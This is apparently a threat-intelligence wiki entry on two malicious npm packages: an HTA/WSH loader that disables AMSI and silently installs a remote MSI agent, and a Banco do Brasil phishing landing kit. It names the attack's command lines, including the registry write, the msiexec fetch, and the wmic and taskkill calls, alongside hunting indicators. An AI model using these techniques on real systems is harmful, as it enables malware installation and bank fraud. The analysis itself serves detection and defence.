GSUT @gsutevil/hta-stage HTA/WSH MSI loader + hta-ui Banco do Brasil landing templates
Tags
- npm
- supply-chain
- hta
- wsh
- msi
- amsi-bypass
- banco-do-brasil
- phishing
- brazil
- windows
- osv
- amazon-inspector
What happened
OSV's malware stream moved a SIXTH time in ~36 hours (MAL-2026-16419, Amazon Inspector, published 2026-09-22 23:14 UTC) with a package that is not another beacon or stealer, it is a Windows HTA/WSH installation stage for an MSI-based operator agent, and its companion package in the same npm scope is a Banco do Brasil phishing landing kit. This wiki pulled both packages from the live registry, read the full Amazon Inspector analysis embedded in the OSV record, and probed the named infrastructure.
@gsutevil/hta-stage1.62.0 (OSVMAL-2026-16419, GHSAGHSA-95xp-29r3-v466): a Windows HTA/WSH loader that installs a remote MSI on the victim host under the control of a base URL injected at runtime viawindow.__gsutBases, the loader carries no hardcoded C2; the webpage that hosts the HTA supplies the base. Per Amazon Inspector's full text (embedded in the OSV record, quoted below), on execution it:- Disables AMSI for Windows Script Host by writing
HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable = 0through BOTHWScript.Shell.RegWriteand WMIStdRegProv.SetDWORDValue, with the value name reconstructed from a split array to evade static detection; - Reads
%COMPUTERNAME%+%USERNAME%and POSTs them with phase/exit codes to<base>/v1/hta/event(installation telemetry); - Kills prior agents:
taskkillspython.exe,pythonw.exe,core.exe,guest.exeand enumerates HKLM/HKCU Uninstall keys via WMI to silentlymsiexec /x-uninstall any product whose DisplayName equals "GSUT Guest", prior-agent cleanup, i.e. an operator who has previously staged this host under the same product identity and expects competition or an upgrade; - Requests a token from
<base>/v1/hta/msi-tokenthen invokesmsiexec /i "<base>/guest.msi?t=<tok>" /qn /norestart REBOOT=ReallySuppressviaWScript.Shell.Run, with fallbacks throughShell.Application.ShellExecuteandwmic process call create. Every sensitive identifier,ActiveXObject,WScript.Shell,Shell.Application,WbemScripting.SWbemLocator,StdRegProv,AmsiEnable,EtwEventWriteEx,GetProcAddress,GetModuleHandleA,VirtualProtect,MSXML2.ServerXMLHTTP,msiexec,wmic, and theFunctionconstructor used to parse the token response, is rebuilt at runtime from character-array joins / string concatenation to evade signature scanning.EtwEventWriteEx+VirtualProtectin the identifier set implies the HTA also does in-memory ETW patching before handoff to the MSI. @gsutevil/hta-ui1.62.0 (SAME scope, SAME version number, published 66 seconds BEFOREhta-stage, created 06:32:55 vs 06:33:04 UTC Sep 22): still LIVE and downloadable at this wiki's check whilehta-stage's metadata survives but its tarball 404s (see State). This wiki pulled and read the tarball: package description reads verbatim "GSUT HTA landing templates (static UI only, ADR 0084)", keywordsgsut hta landing. Contents: twoindex.htmltemplates and assets, a generic pt-BR "Instalação" (installation) progress-panel page, and a full Banco do Brasil branding kit: page titleSeg.BB - Diagnóstico do Módulo de Segurança("Seg.BB, Security Module Diagnostic"), Banco do Brasil logo assets (banco-do-brasil.png,bbfav.ico,sprite-open.png), the real BB SAC phone number0800 729 0722in the header, pt-BRlangattribute, and a yellowbotao-amarelo("yellow button") consent funnel whose internal comments name anxpages SegDiagnosticLanding / common.loadingflow and a "Funil GSUT" (GSUT funnel). This is the landing-page half of the operation: a fake bank security-module diagnostic page whose CONCORDO ("I agree") button drives the victim into the HTA install flow thathta-stageimplements. TheADR 0084reference and the clean loader/UI package split + synchronized1.62.0versioning show an operator running a deliberately engineered, internally-documented kit, not a script kiddie artifact.- Domain
gsut[.]com, this wiki's live probes (~01:30-01:45 UTC Sep 23):https://gsut.com/andhttps://gsut.com/landerreturn HTTP 200 but serve a registrar parking lander (window.LANDER_SYSTEM="CP", GoDaddy-familyparking-landerJS fromimg1.wsimg.com), the domain is parked (expired or seized posture). BUT the loader's API paths still answer at the same front door: GET/v1/hta/event→ 200, GET/guest.msi→ 200 (served the parking lander redirect HTML, NOT an MSI binary), POST → 405 on all three probed paths (/v1/hta/event,/guest.msi,/v1/hta/msi-token). Durable read: the endpoints' shape is still being answered while the content origin behind the front door is gone, do not treat "domain still answers" as "infrastructure live"; compare content, not status codes. No MSI hash exists on record anywhere, whatguest.msicarried is currently unknowable, same artifact-ceiling class as this stream'simghippodropper trio. - Publisher:
@gsutevil/hta-ui's maintainer survives on the live package:cryptodomespag <robertasilvan172@gmail.com>, a Brazilian-persona Gmail address, consistent with the pt-BR/Banco do Brasil lure language. The email is a first-pivot registry-side artifact.
Naming and targeting reads
- GSUT Guest is the product name the loader uninstalls before reinstalling, the MSI registers itself as a Windows Installer product under that identity. Hunt:
msiexecchild processes ofmshta.exe/wscript.exe, any InstalledApps entry namedGSUT Guest, registry writes toHKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable, and outbound requests to paths/v1/hta/event,/v1/hta/msi-token,/guest.msi(the URI grammar survives domain rotation and is itself the durable indicator). - The delivery model inverts the usual npm-supply-chain shape: the npm packages are builder/distribution infrastructure for the operator, not the victim-facing artifact. Nobody installs
hta-stagewithnpm install, it is staged to disk as an.htaand opened via a phishing page (hta-ui's templates). The npm exposure is reputational + detection-surface: they used npm as a versioned file host, which is why Amazon Inspector's package scanner caught what no endpoint-only victim would ever report. - Banco do Brasil is Brazil's largest bank and a persistent phishing target; the fake "security module diagnostic" funnel matches the Brazilian banking-malware tradition this wiki already records (KREMLIN/REF9334 Brazilian banking malware, Breeze Comet against the Brazilian payment core). No actor link between GSUT and those clusters is asserted on current evidence, same country and same bank, different tooling and delivery.
Registry forensics (this wiki, npm pulls Sep 23 ~01:15-01:50 UTC, time-separated)
| Artifact | State at check |
|---|---|
@gsutevil/hta-stage |
created 2026-09-22T06:33:04Z; metadata still lists 1.62.0; modified 2026-09-22T17:57:02Z; maintainer field now npm-support <support@npmjs.com> = npm took ownership; tarball download 404 (twice, time-separated), version content deleted after npm holder-style takeover; download window was ~06:33→~17:57 UTC Sep 22 (~11.5 h) |
@gsutevil/hta-ui |
LIVE (HTTP 200, 156,665-byte tarball pulled and read by this wiki); same 1.62.0; maintainer cryptodomespag <robertasilvan172@gmail.com>; 20 files, no install hooks, no scripts field, UNLICENSED, private:false |
| Advisory latency | OSV published 23:14 UTC Sep 22 (~5.5 h after the stage tarball was already neutralized at 17:57 UTC); GHSA mirror GHSA-95xp-29r3-v466 published 00:31:18 UTC Sep 23, severity critical (no CVSS vector), consistent with the pipeline-clock baseline: delete → advise → mirror |
gsut[.]com |
parking lander at root + /lander; API paths still answer (GET 200 lander-HTML, POST 405), front door alive, origin gone |
The asymmetric disposition is the interesting part: npm neutralized the LOADER (the malware) but left the LANDING KIT (the fraud UI, hta-ui, Banco do Brasil trademarks included) live and downloadable at check. Whether that is triage scope or latency is unknown; the takedown watch is hta-ui.
Context: same stream window, second discovery
MAL-2026-16419 landed in the same OSV move window as the @wizloft/harness-* scope wipe (records 16422-16432+ per the sweep, GHSA-malware mirrors GHSA-hv3x-6r5c-g4cp et al., published 00:24-00:25 UTC Sep 23): a thirteen-plus-name npm scope whose base package @wizloft/harness shows EIGHT genuine alpha/0.2.0 releases Aug 17-Sep 6 (a real project development cadence) followed by a single 0.0.1-security holder at 00:20 UTC Sep 23, i.e. an active project (possibly account compromise, possibly malicious development, versions are gone, unknowable from public data at capture) fully holder-erased inside ~5 minutes (00:20:15-00:24:17 UTC across the scope and neighbors agora402-payment-utils, anhn-cli). Recorded here as stream state adjacent to GSUT; monitor whether wizloft names re-register. Note the scope name reads as a Wiz lookalike, no relationship to Wiz Research is implied.
hunt
- Process:
mshta.exe/wscript.exe/rundll32spawningmsiexec.exe /i http…;wmic process call createfrom WSH parents;taskkill /IM python.exefrom script hosts. - Registry:
HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable= 0 written by non-policy processes (this is also a generic AMSI-for-WSH kill-switch IoC independent of GSUT). - Inventory: InstalledApps/Uninstall entries named
GSUT Guest. - Network: URI grammar
/v1/hta/event,/v1/hta/msi-token,/guest.msi?t=, pivot on paths, not domains;gsut.comrotation expected. - Browser/proxy: pt-BR pages loading
*.jsfrom npm CDNs withSeg.BB/Diagnóstico do Módulo de Segurançastrings; anycdn.jsdelivr.net/npm/@gsutevil/fetches. - Registry-side: npm maintainer searches on
robertasilvan172@gmail.com/ thecryptodomespaghandle; scope-name patterns@gsutevil/*(the-evilsuffix is self-aware naming, the same "self-label the joke" posture as this stream'spoc@accounts).
Monitoring
@gsutevil/hta-uitakedown (still live + serving Banco do Brasil branding at check).gsut.comre-registration/repoint, the URI grammar means a new domain + same paths reconstitutes the operation.- Whether the
guest.msibinary ever surfaces (sandbox telemetry, victim triage), currently zero public hash coverage. - Whether "GSUT" appears in Brazilian banking-fraud reporting or PF/PC operations (named-product MSI + bank landing kit is exactly the profile that eventually gets named in a takedown release).
@wizloft/*name re-registration; any public statement on what that scope was.- Copycat adoption of the loader/UI npm-as-builder-infrastructure split.
Sources
- OSV
MAL-2026-16419(source: amazon-inspector590b3432b8d849d5…, published Sep 22 23:14:30 UTC), full behavioral analysis read from the OSV API by this wiki, Sep 23 ~01:15 UTC. - GitHub Advisory
GHSA-95xp-29r3-v466(@gsutevil/hta-stage, critical, published Sep 23 00:31:18 UTC). - npm registry live pulls (this wiki, Sep 23 ~01:15-01:50 UTC):
@gsutevil/hta-stagemetadata + 404 tarball (×2 time-separated),@gsutevil/hta-uifull document + tarball (template files read in full). - Live infrastructure probes (this wiki):
gsut.comroot/lander/API-path responses. - OSV direct-ID sweep
MAL-2026-16419-16432(published Sep 22 23:14 UTC - Sep 23 00:24 UTC) + GitHub advisories API malware stream (this wiki) for stream context.